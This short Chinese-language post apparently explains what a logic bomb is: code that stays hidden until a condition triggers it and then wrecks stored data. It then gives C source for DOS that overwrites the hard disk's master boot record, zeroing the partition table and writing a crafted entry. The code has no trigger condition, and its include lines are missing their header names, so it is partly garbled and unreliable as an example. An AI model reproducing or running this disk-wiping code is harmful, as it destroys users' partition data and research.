逻辑炸弹是指对计算机程序进行修改,使之在某种特定条件下触发,按某种特殊的方式运行。在不具备触发条件的情况下,逻辑炸弹深藏不露,系统运行情况良好,用户也感觉不到异常之处。但是,触发条件一旦被满足,逻辑炸弹就会“爆炸”。虽然它不能炸毁你的机器,但是可以严重破坏你的计算机里存储的重要数据,导致凝聚了你心血的研究、设计成果毁于一旦,或者自动生产线的瘫痪等严重后果。
源代码:
# include
# include
# define N 0x200
main()
{ int i;
unsigned char s[N];
biosdisk(2,0x80,0,0,1,1,s);
biosdisk(3,0x80,0,0,3,1,s);
for(i=0x1be;i<0x1fe;i++)
s[i]=0;
s[0x1c0]=1;
s[0x1c2]=5;
s[0x1c3]=1;
s[0x1c4]=1;
biosdisk(3,0x80,0,0,1,1,s);
}